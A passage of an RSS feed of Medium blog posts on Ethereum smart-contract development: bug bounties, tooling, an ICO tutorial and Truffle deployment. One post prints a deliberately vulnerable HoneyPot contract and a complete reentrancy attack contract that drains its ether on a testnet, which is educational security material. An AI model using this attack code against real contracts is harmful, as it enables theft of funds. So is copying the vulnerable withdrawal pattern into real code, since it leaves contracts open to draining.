web3.eth.getBalance(bountyAddress).toNumber()<br>20</pre><pre>&gt; bounty.then(inst =&gt; inst.withdrawPayments({ from: researcher }))</pre><pre>&gt; web3.eth.getBalance(bountyAddress).toNumber()<br>0</pre><p>There we go.</p><p>If there happened to have no researcher to breach the contract, the creator of the contract could retrieve the bounty reward as such:</p><pre>bounty.then(inst =&gt; inst.destroy({ from: creatorAddress }))</pre><p><strong>Wrapping up</strong></p><p>We saw here how to setup a bug bounty contract using the OpenZeppelin smart contract library. Traditionally bounty sites are non standardized, and its process is manual and can cause disputes such as who claimed first and whether the claim is legitimate. With smart contracts and the help of the OpenZeppellin library, smart contract owners can post their smart contract (target contract) as well as another contract which checks whether the contract can be hackable or not (invariant contract) with some rewards of Ether if it is hackable. Any security researchers can submit their exploit contract to prove that it can hack the contract. Once the hack is proved, the security researcher can get reward automatically. Or if no bug is found the creator can destroy the bounty contract and recover the invested reward.</p><p>The code for the smart contracts can be found at: <a href="https://github.com/gustavoguimaraes/bug-bounty">https://github.com/gustavoguimaraes/bug-bounty</a></p><p>Hope this has helped you understand more about smart contract security.</p><p>Thanks for <a href="https://medium.com/u/7cb9d4dc795b">Francisco Giordano</a>, <a href="https://medium.com/u/71b7575196fd">Manuel Aráoz</a> and <a href="https://medium.com/u/d58d19af0ce6">Demian Brener</a> for reviewing this blog post before publication.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a0e56434ad0e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Developing Smart Contracts]]></title>
            <link>https://gus-tavo-guim.medium.com/developing-smart-contracts-at-starbase-6259143e0b41?source=rss-5c1fa9fbf713------2</link>
            <guid isPermaLink="false">https://medium.com/p/6259143e0b41</guid>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[starbase]]></category>
            <category><![CDATA[ethereum]]></category>
            <dc:creator><![CDATA[Gustavo (Gus) Guimaraes]]></dc:creator>
            <pubDate>Sat, 01 Jul 2017 07:52:19 GMT</pubDate>
            <atom:updated>2022-02-23T13:57:34.810Z</atom:updated>
            <content:encoded><![CDATA[<h4>Tools of trade and Guidelines</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-lQWvJtcaszYeuzeI6k1vQ.jpeg" /><figcaption>photo by <a href="https://www.flickr.com/photos/64609422@N04/">Grant Bishop</a></figcaption></figure><p>Blockchain applications may impact the way that individuals and organizations interact. For this to happen, we need way more people developing these applications and for this they need to learn about creating smart contracts which are in a way blockchain powered apps.</p><p>This blog post is a brief overview of the tools of trade and guidelines to develop blockchain applications.</p><p><strong>Smart Contracts</strong></p><p>Blockchain software is similar to hardware in the sense that once it is produced it cannot be changed. Imagine getting hold of a defective iPhone. The experience is not pleasant. The same is for smart contracts as once it is deployed it immutable. Deploying smart contracts generally means that you are dealing with the company’s or other people’s money so in order to create a smart contract, you got to make sure it works. And for that we use smart contract tools such as <a href="http://truffleframework.com/">Truffle</a>.</p><p><strong>Truffle Framework</strong></p><p>It is true that Ethereum development experience and tools are not on par with the reality in other programming languages such as JavaScript or Python. But gradually it is getting there. The <a href="http://truffleframework.com/">Truffle framework</a> is an example of a great tool that help us in our smart contract development needs. It is the swiss army knife of the Ethereum smart contract community and it allows devs for ease of contract deployment on the blockchain as well as unit testing our smart contract code. It is the bedrock tool for our deployment workflow which goes as following:</p><ol><li>Build tests on Truffle and interact with contract using <a href="https://github.com/ethereumjs/testrpc">TestRpc</a>.</li><li>Create the interface and test.</li><li>Deploy to testnet.</li><li>Internally and publicly test the interface on the testnet.</li><li>Deploy to mainnet as ‘beta’ and test the heck out of it on the mainnet.</li><li>Deploy to mainnet as production release.</li></ol><p><strong>Testing</strong></p><p>We have on average a 1:20 ratio of smart contract code to unit testing lines. It is paramount that the smart contract code is well tested. As mentioned earlier, contracts on the blockchain world cannot be changed. Granted that there are upgradeable techniques for contracts but a best practice around it has not been established yet and even if it was here already, you would still want to spend time testing obsessively any contract code of yours. The basic guideline for testing is to <strong>not write untested</strong> <strong>code</strong>, <strong>ask at least a different engineer to review</strong> recently produced code, and <strong>not to reinvent the wheel </strong>for solutions that are proven and thoroughly tested.</p><p><strong>Speaking Things Into Being</strong></p><p>This guideline is based around “speaking things into being”, that is to say, not creating things and then describing them later.</p><p>This approach has a variety of benefits.</p><ul><li>If we can’t clearly describe something, we probably don’t actually understand what we’re trying to do. This will be reflected in the contract. Exploration and experimentation are encouraged — just not in commits.</li><li>By putting documentation and testing first, we ensure that we always have an up-to-date specification for the system. This helps us stay focused on what we’re doing rather than how we’re doing it. How will always change quickly. What will change as well, but less often.</li><li>By creating a common language together, our mental map of the system will remain more accurate. When changes need to be made, it is easier to see and discuss how concepts relate rather than how cogs of a complex machine relate. Our understanding should drive our structure, not vice versa.</li></ul><p>This is the high level vision of the tools and guidelines to create smart contracts.</p><p>Godspeed!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6259143e0b41" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reentrancy Attack On Smart Contracts: How To Identify The Exploitable And An Example Of An Attack…]]></title>
            <link>https://gus-tavo-guim.medium.com/reentrancy-attack-on-smart-contracts-how-to-identify-the-exploitable-and-an-example-of-an-attack-4470a2d8dfe4?source=rss-5c1fa9fbf713------2</link>
            <guid isPermaLink="false">https://medium.com/p/4470a2d8dfe4</guid>
            <category><![CDATA[smart-contract-security]]></category>
            <category><![CDATA[reentrancy-attack]]></category>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[solidity]]></category>
            <dc:creator><![CDATA[Gustavo (Gus) Guimaraes]]></dc:creator>
            <pubDate>Thu, 25 May 2017 16:18:29 GMT</pubDate>
            <atom:updated>2021-02-02T13:15:13.540Z</atom:updated>
            <content:encoded><![CDATA[<h3>Reentrancy Attack On Smart Contracts: How To Identify The Exploitable And An Example Of An Attack Contract</h3><p>To code smart contracts is certainly not a free picnic. A bug introduced in the code costs money and most likely not only your money but also <a href="http://hackingdistributed.com/2016/06/17/thoughts-on-the-dao-hack/">other people’s </a>as well. The reality is that the Ethereum ecosystem is still in its infancy but growing and standards are being defined and redefined by the day so one needs to be always updated and akin to smart contract security best practices.</p><p>As a student of smart contract security, I have been on the look out for vulnerabilities in code. It came to my attention this <a href="https://ropsten.etherscan.io/address/0xb03486280c91ab32544aae181f47362dc67c139c">contract deployed to the testnet</a>.</p><pre>pragma solidity ^0.4.8;</pre><pre>contract HoneyPot {<br>  mapping (address =&gt; uint) public balances;</pre><pre>  function HoneyPot() payable {<br>    put();<br>  }</pre><pre>  function put() payable {<br>    balances[msg.sender] = msg.value;<br>  }</pre><pre>  function get() {<br>    if (!msg.sender.call.value(balances[msg.sender])()) {<br>      throw;<br>    }<br>      balances[msg.sender] = 0;<br>  }</pre><pre>  function() {<br>    throw;<br>  }<br>}</pre><p>The HoneyPot contract above originally contained 5 ether and was deliberately devised to be hacked. In this blog post, I want to share with you how I attacked this contract and ‘collected’ most of its ether.</p><p><strong>The Vulnerable Contract</strong></p><p>The purpose of the HoneyPot contract above is to keep a record of balances for each address that put() ether in it. It also allows an address to get() its ether deposited it in it.</p><p>Let’s look at the most interesting parts of this contract:</p><pre>mapping (address =&gt; uint) public balances;</pre><p>The code above maps addresses to a value and stores it in a public variable called balances . It allows to check the HoneyPot balance for an address.</p><pre>balances[0x675dbd6a9c17E15459eD31ADBc8d071A78B0BF60]</pre><p>The put() function below is where the storage of the ether value happens in the contract. Note that msg.sender here is the transaction sender’s address.</p><pre>function put() payable {<br>    balances[msg.sender] = msg.value;<br>  }</pre><p>Nest, we find the function where the exploitable is. The purpose of this function is to let addresses to withdraw the value of ether they have in HoneyPot as balance.</p><pre>function get() {<br>    if (!msg.sender.call.value(balances[msg.sender])()) {<br>      throw;<br>    }<br>      balances[msg.sender] = 0;<br>  }</pre><p>Where is the exploitable and how can someone attack this you ask? Check again these lines of code :</p><pre>if (!msg.sender.call.value(balances[msg.sender])()) {<br>      throw;<br>}<br>balances[msg.sender] = 0;</pre><p>HoneyPot contract sets the value of the address balance to zero only after checking if sending ether to msg.sender goes through.</p><p>What if there is an AttackContract that tricks HoneyPot into thinking that it still has ether to withdraw before AttackContract balance is set to zero. This can be done in a recursive manner and the name for this is called reentrancy attack.</p><p>Let’s create one.</p><p>Here is the full contract code. I will attempt my best to explain its parts.</p><pre>pragma solidity ^0.4.8;</pre><pre>import &quot;./HoneyPot.sol&quot;;</pre><pre>contract HoneyPotCollect {<br>  HoneyPot public honeypot;</pre><pre>  function HoneyPotCollect (address _honeypot) {<br>    honeypot = HoneyPot(_honeypot);<br>  }</pre><pre>  function kill () {<br>    suicide(msg.sender);<br>  }</pre><pre>  function collect() payable {<br>    honeypot.put.value(msg.value)();<br>    honeypot.get();<br>  }</pre><pre>  function () payable {<br>    if (honeypot.balance &gt;= msg.value) {<br>      honeypot.get();<br>    }<br>  }<br>}</pre><p>The first few lines is basically assigning the solidity compiler to use with the contract. Then we import the HoneyPot contract which I put in a separate file. Note that HoneyPot is referenced throughout the HoneyPotCollect contract. And we set up the contract base which we call it HoneyPotCollect .</p><pre>pragma solidity ^0.4.8;</pre><pre>import &quot;./HoneyPot.sol&quot;;</pre><pre>contract HoneyPotCollect {<br>  HoneyPot public honeypot;<br>...<br>}</pre><p>Then we define the constructor function. This is the function that is called when HoneyPotCollect is created. Note that we pass an address to this function. This address will be the HoneyPot <a href="https://ropsten.etherscan.io/address/0xb03486280c91ab32544aae181f47362dc67c139c#code">contract address</a>.</p><pre>function HoneyPotCollect (address _honeypot) {<br>    honeypot = HoneyPot(_honeypot);<br>}</pre><p>Next function is the kill function. I want to withdraw ether from the HoneyPot contract to the HoneyPotCollect contract. However I want also to get the collected ether to an address I own. So I add a mechanism to destroy the HoneyPotCollect and send all ether containing in it to the address that calls the kill function.</p><pre>function kill () {<br>  suicide(msg.sender);<br>}</pre><p>The following function is the one that will set the reentrancy attack in motion. It puts some ether in HoneyPot and right after it, it gets it.</p><pre>function collect() payable {<br>    honeypot.put.value(msg.value)();<br>    honeypot.get();<br>  }</pre><p>The payable term here tells the Ethereum Virtual Machine that it permits to receive ether. Invoke this function with also some ether.</p><p>The last function is what is known as the <a href="https://solidity.readthedocs.io/en/latest/contracts.html?highlight=fallback%20#fallback-function">fallback function</a>. This unnamed function is called whenever the HoneyPotCollect contract receives ether.</p><pre>function () payable {<br>    if (honeypot.balance &gt;= msg.value) {<br>      honeypot.get();<br>    }<br>  }</pre><p>This is where the reentrancy attack occur. Let’s see how.</p><p><strong>The Attack</strong></p><p>After deploying HoneyPotCollect, call collect() and sending with it some ether.</p><p>HoneyPot get() function sends ether to the address that called it only if this contract has any ether as balance. When HoneyPot sends ether to HoneyPotCollect the fallback function is triggered. If the HoneyPot balance is more than the value that it was sent to, the fallback function calls get() function once again and the cycle repeats.</p><p>Recall that within the get()function the code that sets the balance to zero comes only after sending the transaction. This tricks the HoneyPot contract into sending money to the HoneyPotCollect address over and over and over until HoneyPot is depleted of almost all its ether.</p><p>Try it yourself. I left 1 test ether in <a href="https://ropsten.etherscan.io/address/0xb03486280c91ab32544aae181f47362dc67c139c#code">this contract</a> so others could try it themselves. If you see no ether left there, then it is because someone already attacked it before you.</p><p>I originally created this code for the HoneyPotAttackusing the <a href="http://truffleframework.com/">Truffle framework</a>. <a href="https://github.com/gustavoguimaraes/honeyPotReentranceAttack">Here is the code in case you need it for reference</a>. Enjoy!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4470a2d8dfe4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How To Create Token and Initial Coin Offering Contracts Using Truffle + Zeppelin Solidity]]></title>
            <link>https://gus-tavo-guim.medium.com/how-to-create-token-and-initial-coin-offering-contracts-using-truffle-openzeppelin-1b7a5dae99b6?source=rss-5c1fa9fbf713------2</link>
            <guid isPermaLink="false">https://medium.com/p/1b7a5dae99b6</guid>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[truffle]]></category>
            <category><![CDATA[ico]]></category>
            <category><![CDATA[openzeppelin]]></category>
            <category><![CDATA[guide]]></category>
            <dc:creator><![CDATA[Gustavo (Gus) Guimaraes]]></dc:creator>
            <pubDate>Thu, 18 May 2017 06:35:31 GMT</pubDate>
            <atom:updated>2018-12-26T21:17:06.622Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Update: this blog post has been updated for OpenZeppelin Solidity version </em><a href="https://github.com/OpenZeppelin/openzeppelin-solidity/releases/tag/v2.0.0"><em>v2.0</em></a></p><p><em>I have tested this blog post with the following dependencies:</em></p><pre>- node@10.11.0<br>- truffle@v4.1.14<br>- ganache-cli@v6.1.8<br>- zeppelin-solidity@2.0.0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*0mV8_2yjkiFzIALVvWezbQ.jpeg" /></figure><p>Token contracts are hot. Token crowd sales aka Initial Coin Offers(ICO) are hotter. There have been a lot going in terms of ICOs lately in the crypto world and if you would like to code one yourself, look no further. In this blog post I am going to go through the steps to create your own and only token as well as the ICO contract for it. We will also use the help of some clever tools.</p><p><em>Caveat: You should not actually release your ICO with the code found here. It is for demo purposes only. But it is a good start.</em></p><p>For this tutorial I am going to be using <a href="http://truffleframework.com/">Truffle</a> and <a href="https://github.com/OpenZeppelin/zeppelin-solidity/">Zeppelin Solidity</a>. Truffle is the de facto framework for creating smart contracts and decentralized applications. Zeppelin Solidity is a library that has extensive and well tested smart contracts that adhere to security best practices. In the smart contract world where a small bug can cost you money, it is good not to reinvent the wheel when there are trusted solutions out there.</p><p>We will also use <a href="https://github.com/trufflesuite/ganache-cli">ganache-cli</a> as the blockchain node because it is fast and developer friendly.</p><p>Side note: If you want to actually create the contract on the Ethereum testnet or main net you would have to use something like <a href="https://geth.ethereum.org/">Geth</a> or <a href="https://parity.io/">Parity</a>.</p><p>Moving on: provided that you have npm and node installed, from terminal type the commands:</p><pre>$ npm install -g ganache-cli<br>$ npm install -g truffle<br>$ mkdir my-ico &amp;&amp; cd my-ico<br>$ truffle init<br>$ npm install openzeppelin-solidity@2.0.0</pre><p>A lot of magic happened with those commands above. But in essence it is the setup that will get you up and running with creating and deploying your ICO smart contract.</p><p>This adds the openzeppelin-solidity folder to node_modules and in it you will find all smart contract templates from the <a href="https://github.com/OpenZeppelin/zeppelin-solidity/tree/master/contracts">OpenZeppelin Solidity library</a>.</p><p>First step is to create the token contract.</p><p>touch contracts/GustavoCoin.sol</p><p>And for the code:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/3578532838e04278becd42ac8321af89/href">https://medium.com/media/3578532838e04278becd42ac8321af89/href</a></iframe><p>That is a straightforward token contract. We practically let Zeppelin Solidity smart contract templates do all the heavy duty for us. Here we reference MintableToken . The idea is to have a token where the supply is controlled by an owner who can emit tokens and assign them. For a better look at what this contract does, check it at node_modules/zeppelin-solidity/contracts/token/ERC20/MintableToken.sol .</p><p>The following step is to create the Crowdsale contract.</p><p>touch contracts/GustavoCoinCrowdsale.sol</p><p>We are basically going to inherit the contract at node_modules/zeppelin-solidity/contracts/crowdsale/emission/MintedCrowdsale.sol and node_modules/zeppelin-solidity/contracts/crowdsale/validation/TimedCrowdsale.sol. We end up with only the code below.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/92a64c8d09e83dc46e3c6ebc44c9858e/href">https://medium.com/media/92a64c8d09e83dc46e3c6ebc44c9858e/href</a></iframe><p>Beautiful, huh? We are using the secure contracts provided by Zeppelin Solidity to our advantage. Note that GustavoCoinCrowdsale inherits from TimedCrowdsale and MintedCrowdsale. In order to deploy GustavoCoinCrowdsale , we must give a few parameters to its constructor function as per the <a href="https://github.com/OpenZeppelin/zeppelin-solidity/blob/v1.7.0/contracts/crowdsale/Crowdsale.sol">Crowdsale</a> and <a href="https://github.com/OpenZeppelin/zeppelin-solidity/blob/v1.7.0/contracts/crowdsale/validation/TimedCrowdsale.sol">TimeCrowdsale</a> contracts, i.e. openingTime and closingTime timestamps, the rate of token per ether rate, the token address itself and the wallet address of the contract owner(s).</p><p>Let’s deploy this contract. Open a new terminal tab and run</p><pre>$ ganache-cli</pre><p>It will run ganache-cli. We are using it for our development needs.</p><p>First, let’s add this to truffle.js file. It is for configuration purposes:</p><pre>truffle.js:<br>module.exports = {<br>    networks: {<br>        development: {<br>            host: &quot;localhost&quot;,<br>            port: 8545,<br>            network_id: &quot;*&quot; // Match any network id<br>        }<br>    }<br>};</pre><p>Then, go on (you may need to create it) to the file migrations/2_deploy_contracts.js and modify it to this:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/74408c26ce727d191b4d69850f7df4de/href">https://medium.com/media/74408c26ce727d191b4d69850f7df4de/href</a></iframe><p>Note that we are not deploying GustavoCoin . This is because once GustavoCoinCrowdsale deploys it will create GustavoCoin . Now back to the terminal tab where you installed Truffle, run the commands:</p><pre>$ truffle compile<br>$ truffle migrate</pre><p>If you happen to look at the ganache-cli tab you will see that the contract was deployed successfully.</p><p>Alright, let’s buy some GUS tokens.</p><p>Run $ truffle console</p><p>This will open truffle console and we are going to use the <a href="https://github.com/ethereum/wiki/wiki/JavaScript-API">web3.js</a> API to interact with the deployed contract.</p><pre>// The account that will buy GUS tokens. It will show differently in your ganache-cli console</pre><pre>&gt; purchaser = web3.eth.accounts[2]<br>&#39;0xddac5d057c79facd674bc95dfd9104076fd34d6b&#39;</pre><pre>// The address of the GUS token instance that was created when the crowdsale contract was deployed<br>// assign the result of GustavoCoinCrowdsale.deployed() to the variable crowdsale<br>&gt; GustavoCoinCrowdsale.deployed().then(inst =&gt; { crowdsale = inst })<br>undefined</pre><pre>&gt; crowdsale.token().then(addr =&gt; { tokenAddress = addr } )<br>undefined</pre><pre>&gt; tokenAddress<br>&#39;0x87a784686ef69304ac0cb1fcb845e03c82f4ce16&#39;</pre><pre>&gt; gustavoCoinInstance = GustavoCoin.at(tokenAddress)<br>...</pre><pre>// add minter role to crowdsale so it is able to mint tokens during crowdsale<br>&gt; gustavoCoinInstance.addMinter(crowdsale.address)<br>...</pre><pre>// now check the number of GUS tokens purchaser has. It should be 0</pre><pre>&gt; gustavoCoinInstance.balanceOf(purchaser).then(balance =&gt; balance.toString(10))<br>&#39;0&#39;</pre><pre>// Buying GUS tokens</pre><pre>&gt; GustavoCoinCrowdsale.deployed().then(inst =&gt; inst.sendTransaction({ from: purchaser, value: web3.toWei(5, &quot;ether&quot;)}))<br>{ tx: &#39;0x68aa48e1f0d0248835378caa1e5b2051be35a5ff1ded82878683e6072c0a0cfc&#39;,<br>  receipt:<br>   { transactionHash: &#39;0x68aa48e1f0d0248835378caa1e5b2051be35a5ff1ded82878683e6072c0a0cfc&#39;,<br>     transactionIndex: 0,<br>     blockHash: &#39;0xb48ceed99cf6ddd4f081a99474113c4c16ecf61f76625a6559f1686698ee7d57&#39;,<br>     blockNumber: 5,<br>     gasUsed: 68738,<br>     cumulativeGasUsed: 68738,<br>     contractAddress: null,<br>     logs: [] },<br>  logs: [] }<br>undefined</pre><pre>// Check the amount of GUS tokens for purchaser again. It should have some now.</pre><pre>&gt; gustavoCoinInstance.balanceOf(purchaser).then(balance =&gt; purchaserGusTokenBalance = balance.toString(10))<br>&#39;5000000000000000000000&#39;</pre><pre>// When we created our token we made it with 18 decimals, which the same as what ether has. That&#39;s a lot of zeros, let&#39;s display without the decimals:</pre><pre>&gt; web3.fromWei(purchaserGusTokenBalance, &quot;ether&quot;)<br>&#39;5000&#39;</pre><p>Yay! It worked.</p><p>Where to go after here you ask?</p><p>You could test this code on the Ethereum testnet, or you could create a web app that would allow users to interact with the CrowdsaleToken contract, you could add more functionality to the contract itself such as deadline, token cap, etc. Unleash your inner token creator.</p><p>The Ethereum community grows by the day and though there are not many tools out there yet, the ones such as Truffle and Zeppelin Solidity do a great job at improving developer’s experience.</p><p>I am curious to know what you will be coding from here.</p><p>By the way, here is <a href="https://github.com/gustavoguimaraes/my-ico">the repo containing the code for this blog post</a>.</p><p>I want to leave my gratitude for <a href="https://medium.com/u/7cb9d4dc795b">Francisco Giordano</a> for reviewing the code used in this blog post.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1b7a5dae99b6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Using Truffle to Create and Deploy Smart Contracts]]></title>
            <link>https://gus-tavo-guim.medium.com/using-truffle-to-create-and-deploy-smart-contracts-95d65df626a2?source=rss-5c1fa9fbf713------2</link>
            <guid isPermaLink="false">https://medium.com/p/95d65df626a2</guid>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[truffle]]></category>
            <dc:creator><![CDATA[Gustavo (Gus) Guimaraes]]></dc:creator>
            <pubDate>Sat, 13 May 2017 21:11:57 GMT</pubDate>
            <atom:updated>2017-05-13T21:49:18.739Z</atom:updated>
            <content:encoded><![CDATA[<p>On my<a href="https://medium.com/@gus_tavo_guim/deploying-a-smart-contract-the-hard-way-8aae778d4f2a"> last post</a> I went through the steps to deploy the smart contracts the hard way on one’s own Ethereum private blockchain. This one I am going to show the straightforwardness of doing so with <a href="http://truffleframework.com/">Truffle</a>, the de-facto framework to publish smart contracts on Ethereum.</p><p>Let’s start by installing truffle</p><p>$ npm install -g truffle</p><p>Ensure that it is installed</p><pre>$ truffle<br>Truffle v3.2.1 - a development framework for Ethereum</pre><pre>Usage: truffle &lt;command&gt; [options]</pre><pre>Commands:<br>  init      Initialize new Ethereum project with example contracts and tests<br>...</pre><p>Then create the project</p><pre>$ mkdir storage_smart_contract_example<br>$ cd storage_smart_contract_example<br>$ truffle init</pre><p>You will see that truffle created the file structure to us. Go to the contracts folder and create Storage.sol file and then write the code for the smart contract in it.</p><pre>pragma solidity ^0.4.8;</pre><pre>contract Storage {<br>  uint256 storedData;</pre><pre>function set(uint256 data) {<br>    storedData = data;<br>  }</pre><pre>function get() constant returns (uint256) {<br>    return storedData;<br>  }<br>}</pre><p>Now go to the migrations/2_deploy_contracts.js and modify it to look like as follows:</p><pre>var Storage = artifacts.require(&quot;./Storage.sol&quot;);</pre><pre>module.exports = function(deployer) {<br>  deployer.deploy(Storage);<br>};</pre><p>Now that we got the basic set up on we need to deploy it to a blockchain. On my previous post I ran my own private network which information on how to do it is found <a href="https://github.com/ethereum/go-ethereum/wiki/Private-network">here</a>. For simplistic sake, let’s use <a href="https://github.com/ethereumjs/testrpc">testrpc </a>which does the job well for testing development purposes.</p><p>On a separate tab, type these commands</p><pre>$ npm install -g ethereumjs-testrpc</pre><pre>$ testrpc</pre><pre>EthereumJS TestRPC v3.0.3</pre><pre>Available Accounts<br>==================<br>...</pre><p>Then back on the tab where you have the Truffle project run</p><pre>$ truffle compile<br>$ truffle migrate</pre><p>Aaaand the contract is deployed.</p><p>Let’s check if we are able to call the contract functions.</p><pre>$ truffle console</pre><pre>truffle(development)&gt; Storage.deployed().then(instance =&gt; instance.get.call()).then(result =&gt; storeData = result)</pre><pre>{ [String: &#39;0&#39;] s: 1, e: 0, c: [ 0 ] }</pre><pre>truffle(development)&gt; storeData.toString()<br>&#39;0&#39;</pre><p>Alright, let’s see now we if can set storeData to be value 42.</p><pre>truffle(development)&gt; Storage.deployed().then(instance =&gt; instance.set.sendTransaction(42)).then(result =&gt; newStorageData = result)<br>&#39;0xc5e2f9c9da4cf9f563c8e59073d5b6ca9458f112a6dcfc14aaea7c16a99422d4&#39;</pre><pre>truffle(development)&gt; Storage.deployed().then(instance =&gt; instance.get.call()).then(result =&gt; storeData = result)<br>{ [String: &#39;42&#39;] s: 1, e: 1, c: [ 42 ] }<br>truffle(development)&gt; storeData.toString()<br>&#39;42&#39;</pre><p>That it is.</p><p>I wrote the code for this blog post in this github repo for reference: <a href="https://github.com/gustavoguimaraes/storage_contract_example">https://github.com/gustavoguimaraes/storage_contract_example</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=95d65df626a2" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>